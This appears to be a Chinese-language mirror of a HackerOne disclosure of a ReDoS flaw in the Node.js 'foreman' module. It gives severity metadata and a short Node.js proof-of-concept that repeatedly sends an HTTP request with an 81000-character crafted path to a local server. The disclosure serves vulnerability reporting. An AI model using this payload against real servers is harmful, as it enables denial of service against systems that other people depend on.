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地图 / `foreman` is vulnerable to ReDoS in path

`foreman` is vulnerable to ReDoS in path

拒绝服务 / 资源消耗失控 / #320586

厂商
Node.js third-party modules
严重程度
中危 · CVSS 7.5
赏金
—
弱点
资源消耗失控
研究员
@chalker
披露日期
2018-04-28
资产
foreman
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(1323 字符中的一小部分)
I would like to report ReDoS in `foreman`. It allows to cause denial of service by suppling a crafted path.
原文中的代码
const net = require('net');
const tick = function() {
const client = net.createConnection({ port: 9999 }, () => {
  client.write(`GET http://${Array(81000).join('0')} HTTP/1.1
Host: localhost:9999


"`);
  });
}
setInterval(tick, 1000)

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Node.js third-party modules 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @chalker · 版权归作者与 Node.js third-party modules 所有

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